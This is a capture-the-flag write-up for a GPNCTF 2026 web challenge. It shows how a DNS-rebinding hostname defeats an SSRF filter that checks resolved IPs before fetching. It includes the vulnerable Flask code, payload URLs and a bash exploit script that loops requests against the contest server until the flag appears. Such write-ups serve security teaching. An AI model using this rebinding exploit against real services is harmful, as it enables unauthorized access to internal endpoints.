GPNCTF2026-Simple food notifications
GPNCTF 2026

GPNCTF2026-Simple food notifications

Check file source

The source contains a /vip-meal endpoint:

FLAG = open("/flag").read().strip()

@app.route('/vip-meal')
def vip_meal():
    if request.remote_addr != "127.0.0.1":
        app.logger.warning(f"Your IP {request.remote_addr} is not whitelisted so see vip meals")
        return render_template('meal.html', message="You are not dressed appropriate to see even vip meals."), 401

    return render_template('meal.html', title="VIP Meal", message=f"Our chef cooked the beast meal for our vip customers, here is the flag {FLAG} with some caviar on top."), 200

This endpoint only returns the flag if the request comes from:

127.0.0.1

If accessed directly from the outside it is denied. So the goal is to use SSRF to make the server request:

http://127.0.0.1/vip-meal

The SSRF filter

The application has an anti-SSRF filter. Before fetching a URL, the server extracts the hostname, resolves it with socket.getaddrinfo(), then checks the IP:

addresses = socket.getaddrinfo(urllib3.util.parse_url(url).host, 80)

for addr in addresses:
    if not ipaddress.ip_address(addr[4][0]).is_global:
        notifications[id] = {
            "status": "REJECTED",
            "message": "Only staff is allowed to see mess in the kitchen..."
        }
        return

Therefore simple payloads are all blocked:

http://127.0.0.1/vip-meal
http://localhost/vip-meal
http://2130706433/vip-meal
http://0x7f000001/vip-meal

The reason is these addresses all resolve to a non-global IP.

Bypass idea

The weakness lies in the TOCTOU between the check step and the actual request step.

The server resolves the hostname once for the check:

socket.getaddrinfo(host)

Then urllib3 resolves the hostname again when performing the request:

urllib3.request('GET', url, redirect=False, timeout=urllib3.Timeout(30))

That is, the hostname is resolved at least twice:

Resolution #1: used for the is_global check
Resolution #2: used for the actual connection

If we use DNS rebinding so the first resolution returns a global IP, the filter passes. Then the actual request or retry returns 127.0.0.1, and the server connects to localhost and gets the flag.

DNS rebinding with rbndr.us

Use the domain:

7f000001.08080808.rbndr.us

Where:

7f000001 = 127.0.0.1
08080808 = 8.8.8.8

This domain randomly returns one of the two IPs:

127.0.0.1
8.8.8.8

SSRF payload:

http://7f000001.08080808.rbndr.us/vip-meal

If the first check resolves to 127.0.0.1, the request is rejected.

If the first check resolves to 8.8.8.8, the filter passes because 8.8.8.8 is a global IP. Then the connection to 8.8.8.8:80 times out. When urllib3 retries, it resolves the domain again. If this time the domain returns 127.0.0.1, the request goes to:

http://127.0.0.1/vip-meal

In that case request.remote_addr == "127.0.0.1" and the /vip-meal endpoint returns the flag.


Exploit script

#!/bin/bash

B="https://steamed-pineapple-crusted-with-candied-noodles-etjs.gpn24.ctf.kitctf.de"
URL="http://7f000001.08080808.rbndr.us/vip-meal"

for round in $(seq 1 20); do
  echo "[*] Round $round"

  while :; do
    resp=$(curl -s -X POST "$B/order" \
      --data-urlencode "url=$URL" \
      -d "meal=Gulasch")

    echo "$resp"

    id=$(echo "$resp" | grep -oP '/notification/\K[a-z0-9]+')

    if [ -n "$id" ]; then
      break
    fi

    w=$(echo "$resp" | grep -oP 'at least \K[0-9]+')
    if [ -n "$w" ]; then
      echo "[*] Rate limited, sleeping $((w + 2)) seconds..."
      sleep $((w + 2))
    else
      echo "[!] Could not get id, retrying in 5s..."
      sleep 5
    fi
  done

  echo "[*] Notification id: $id"

  for i in $(seq 1 90); do
    r=$(curl -s "$B/notification/$id")
    echo "$r"

    flag=$(echo "$r" | grep -oiE 'GPNCTF\{[^}]+\}')
    if [ -n "$flag" ]; then
      echo "[+] FLAG: $flag"
      exit 0
    fi

    st=$(echo "$r" | grep -oP '"status":\s*"\K[^"]+')

    if [ "$st" = "REJECTED" ] || [ "$st" = "FAILED" ]; then
      echo "[!] $st, retrying new order..."
      break
    fi

    sleep 2
  done
done

Run the script:

chmod +x solve.sh
./solve.sh

Result

Some early rounds may be rejected; the final result:

{"id": "usid5g4vve", "message": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>VIP Meal</title>\n    <link rel=\"stylesheet\" href=\"/static/css/style.css\">\n</head>\n<body>\n    <header>\n        <h1>VIP Meal</h1>\n    </header>\n    <main>\n        <p>Our chef cooked the beast meal for our vip customers, here is the flag GPNCTF{whY_M4K3_It_cOmplEx_WH3n_YOU_C4N_m4KE_i7_SImpL3} with some caviar on top.</p>\n        <a href=\"/\">Back to Home</a>\n    </main>\n</body>\n</html>", "status": "DONE"}

Flag

GPNCTF{whY_M4K3_It_cOmplEx_WH3n_YOU_C4N_m4KE_i7_SImpL3}